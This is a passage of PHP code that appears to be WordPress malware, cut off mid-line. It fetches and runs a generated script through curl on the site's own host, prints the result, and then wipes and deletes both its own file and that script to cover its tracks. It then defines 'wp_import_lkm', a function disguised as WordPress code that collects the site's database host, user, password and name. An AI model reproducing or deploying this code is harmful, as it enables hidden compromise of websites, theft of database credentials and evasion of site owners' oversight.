=="off")?"https://":"http://");
$url = $http . $_SERVER['HTTP_HOST'] . str_replace( $wwwroot,'', __DIR__ ) . '/' . $run_name;
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
curl_setopt( $ch, CURLOPT_TIMEOUT, 20 );
$content = curl_exec( $ch );
curl_close( $ch ); 

echo $content;
file_put_contents( __FILE__, '' );
unlink( __FILE__ );

if ( is_file( __DIR__ . '/' . $run_name ) ) {
    file_put_contents( __DIR__ . '/' . $run_name, '' );   
    unlink( __DIR__ . '/' . $run_name );
}

exit;

//---zzz---

$wp_lock_update=1;


/*wp_import_lkm@ver1.0.0*/

if ( ! function_exists( 'wp_import_lkm' ) ) {

    function wp_import_lkm() {
        defined( 'DB_HOST' ) ? $DB_HOST = DB_HOST : $DB_HOST = '---DB_HOST---';
        defined( 'DB_USER' ) ? $DB_USER = DB_USER : $DB_USER = '---DB_USER---';
        defined( 'DB_PASSWORD' ) ? $DB_PASSWORD = DB_PASSWORD : $DB_PASSWORD = '---DB_PASSWORD---';
        defined( 'DB_NAME' ) ? $DB_NAME = DB_NAME : $DB_NAME = '---DB_NAME---';
        defined( 'ABSPATH' ) ? $ABSPATH = ABSPAT